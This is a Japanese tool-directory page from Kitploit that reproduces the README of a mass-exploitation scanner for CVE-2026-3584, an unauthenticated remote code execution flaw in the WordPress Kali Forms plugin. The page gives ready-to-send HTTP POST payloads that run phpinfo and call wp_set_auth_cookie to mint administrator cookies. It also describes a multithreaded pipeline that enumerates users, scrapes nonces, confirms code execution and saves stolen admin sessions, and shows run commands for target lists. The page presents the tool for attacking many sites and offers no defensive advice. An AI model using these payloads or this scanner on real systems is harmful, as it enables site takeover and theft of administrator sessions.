Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-3584 — CVE-2026-3584 | Kitploit
ツール/GitHubGitHub/yucaerin/cve-2026-3584
特権昇格偵察脆弱性スキャナーエクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテストペイロード開発
GitHubyucaerin/cve-2026-3584

CVE-2026-3584

CVE-2026-3584

リポジトリを見る
3126ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-3584 – WordPress Kali Forms <= 2.4.9 - 未認証のリモートコード実行 (form_process 経由)

🔥 脆弱性の概要

WordPress プラグイン Kali Forms バージョン <= 2.4.9 には、未認証のリモートコード実行 (RCE) という深刻な脆弱性が存在します。この欠陥により、未認証の攻撃者 がサーバー上で任意の PHP コードを実行し、完全な管理者権限 を取得できます。これは、認証確認なしに公開されている AJAX エンドポイント kaliforms_form_process を介して行われます。

脆弱性は form_process 関数にあり、ユーザー制御のパラメータ(thisPermalink や entryCounter を含む)を受け入れ、任意の PHP コールバックを実行することで、以下を引き起こします:

  • リモートコード実行 (RCE):phpinfo()、system()、eval() などを使用
  • 権限昇格:wp_set_auth_cookie() による管理セッションの取得

🔍 脆弱なプラグイン

  • プラグイン名: Kali Forms – WordPress Form Builder
  • 脆弱なバージョン: <= 2.4.9
  • 脆弱性の種類: 未認証のリモートコード実行 + 権限昇格
  • CVE ID: CVE-2026-3584
  • CVSS スコア: 10.0 (Critical)
  • 影響: サイト全体の侵害、管理アクセス、永続化
  • リンク: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kali-forms/kali-forms-249-unauthenticated-remote-code-execution-via-form-process

🐛 脆弱性の仕組み

バグの技術的分析

脆弱性は Kali Forms プラグインの form_process 関数に現れ、AJAX リクエストを処理します。脆弱なコードは以下のように公開されています:

// 認証なしでアクセス可能な AJAX エンドポイント
add_action('wp_ajax_nopriv_kaliforms_form_process', array($this, 'form_process'));

エクスプロイトの流れ:

  1. 保護されていないエンドポイント: エンドポイント /wp-admin/admin-ajax.php?action=kaliforms_form_process は、wp_ajax_nopriv_ フックにより未認証ユーザーがアクセス可能です。

  2. ユーザー制御可能なパラメータ:

    • data[thisPermalink] - 任意の PHP 関数名を含むことができる
    • data[entryCounter] - 任意の PHP 関数名を含むことができる
    • data[formId] - 処理するフォームの ID
  3. フィルタリングされていないコールバックの実行: 脆弱なコードは検証なしで PHP コールバックを実行します:

    $callback = $_POST['data']['thisPermalink'];
    call_user_func($callback);  // チェックなし!
    
  4. エクスプロイトチェーン:

    攻撃者 → POST リクエスト → kaliforms_form_process
         ↓
    thisPermalink=phpinfo → call_user_func('phpinfo')
         ↓
    PHP コード実行 → phpinfo() が実行される
         ↓
    entryCounter=wp_set_auth_cookie → 管理者クッキーが生成される
         ↓
    完全な管理者アクセス
    

脆弱なリクエストの例:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[thisPermalink]=phpinfo&
data[email][email protected]

結果: サーバーは phpinfo() を実行し、PHP 設定の完全な情報を返します。

権限昇格のために:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[entryCounter]=wp_set_auth_cookie&
data[email][email protected]

結果: WordPress は wp_set_auth_cookie(user_id) を実行します。user_id は多くの場合 formId に対応し、有効な管理者セッションクッキーを生成します。


🛡 マススキャナー - 動作の仕組み

スキャナーのアーキテクチャ

mass_scanner.py は、CVE-2026-3584 脆弱性を完全に悪用するための 4 フェーズからなる自動化パイプラインを実装しています:

┌─────────────────────────────────────────────────────────────────────────┐
│                    MASS SCANNER PIPELINE                                │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  フェーズ 1: REST API の偵察                                           │
│  ├─ ユーザーの列挙: /wp-json/wp/v2/users                               │
│  └─ 投稿の列挙: /wp-json/wp/v2/posts                                   │
│      → 権限昇格用に user_id と post_id を特定                           │
│                                                                         │
│  フェーズ 2: フォームの発見                                             │
│  ├─ サイトのクロール (depth=2)                                          │
│  ├─ パターン検索: 'KaliFormsObject', 'kaliforms'                        │
│  ├─ JavaScript から nonce を抽出                                        │
│  └─ HTML から formId を抽出                                             │
│      → すべての脆弱な Kali Forms フォームを発見                         │
│                                                                         │
│  フェーズ 3: RCE テスト                                                 │
│  ├─ 送信: data[thisPermalink]=phpinfo                                   │
│  ├─ 確認: レスポンス内の 'PHP Version'                                  │
│  └─ 保存: result/target_phpinfo.html                                    │
│      → リモートコード実行を確認                                         │
│                                                                         │
│  フェーズ 4: 権限昇格                                                   │
│  ├─ 送信: data[entryCounter]=wp_set_auth_cookie                        │
│  ├─ 抽出: wordpress_logged_in + wordpress_sec cookies                   │
│  ├─ 確認: /wp-admin/ へのアクセスがリダイレクトなし                     │
│  └─ 保存: result_cookie/target.txt                                      │
│      → 完全な管理者アクセスを取得                                       │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

実装の技術的詳細

1. URL の自動正規化

def normalize_url(self, target):
    # 自動的に http:// または https:// を追加
    # まず HTTPS を試し、フォールバックで HTTP
    # カスタムポート(例 :8080)に対応

2. REST API の列挙

def enumerate_users_api(self, target):
    # GET /wp-json/wp/v2/users
    # 利用可能なすべての user_id を抽出
    # formId → user_id のマッピングに使用
    
def enumerate_posts_api(self, target):
    # GET /wp-json/wp/v2/posts
    # 利用可能なすべての post_id を抽出
    # user_id/post_id の重複を特定

3. フォームの発見 (インテリジェントクローリング)

def discover_pages(self, target, max_depth=2):
    # サイトの再帰的クロール
    # JavaScript パターン 'KaliFormsObject' を検索
    # 不要な URL (js, css, 画像) をフィルタリング
    # 内部リンクのみをフォロー
    # Kali Forms を含むページのリストを返す

4. フォームデータの抽出

def extract_form_data(self, page_url):
    # JavaScript から nonce を抽出:
    #   KaliFormsObject = { ajax_nonce: "abc123" }
    # HTML から formId を抽出:
    #   data-id="1" または [kaliform id="1"]
    # nonce が見つかったが formId がない場合:
    #   ID 1-10 をブルートフォース

5. RCE テスト

def test_rce(self, target, form_id, nonce):
    # POST /wp-admin/admin-ajax.php
    # ペイロード: data[thisPermalink]=phpinfo
    # 確認: len(response) > 10000 かつ 'PHP Version' が存在
    # 完全な HTML を分析用に保存

6. 権限昇格テスト

def test_privilege_escalation_fast(self, target, nonce, user_ids, post_ids):
    # インテリジェント戦略:
    # 1. user_id/post_id の重複を検索
    # 2. 成功率の高い ID からテスト
    # 3. 一般的な ID にフォールバック: 1,2,3,4,5
    
    # 各候補 formId に対して:
    # POST data[entryCounter]=wp_set_auth_cookie
    # クッキーを抽出: wordpress_logged_in + wordpress_sec
    # 確認: GET /wp-admin/ → リダイレクトなし
    # チェック: レスポンス内の 'dashboard'

7. マルチスレッド

# 並列処理のための ThreadPoolExecutor
# 結果書き込みのためのスレッドセーフロック
# リアルタイム保存 (append モード)
# 同期によるグローバル統計

8. 自動バックアップシステム

def backup_previous_results(self):
    # 各スキャンの前:
    # result_phpinfo.txt → result_phpinfo.txt.20260325_120000.backup
    # result/ → result.20260325_120000.backup/
    # result_cookie/ → result_cookie.20260325_120000.backup/
    # 過去のデータをすべて保存

🚀 マススキャナーの使用方法

必要条件

pip3 install requests beautifulsoup4

ターゲットファイルの準備

targets.txt ファイルを作成し、1行に1つのターゲット(http/https は任意):

example.com
wordpress.site
192.168.1.100
http://blog.example.org
https://secure.site.com:8080

基本実行

# デフォルト設定でのスキャン (20スレッド)
python3 mass_scanner.py targets.txt

# カスタムスレッド数でのスキャン
python3 mass_scanner.py -t 10 targets.txt

# 最大スレッド数でのスキャン
python3 mass_scanner.py --threads 50 targets.txt

スキャン中の出力

======================================================================
スキャナー - CVE-2026-3584 完全パイプライン
======================================================================
ターゲット数: 100
スレッド数:    20
パイプライン:  偵察 → フォーム発見 → RCE → 権限昇格
======================================================================

[*] 前回の結果を保存しました: result_phpinfo.txt.20260325_120000.backup
ツールをダウンロード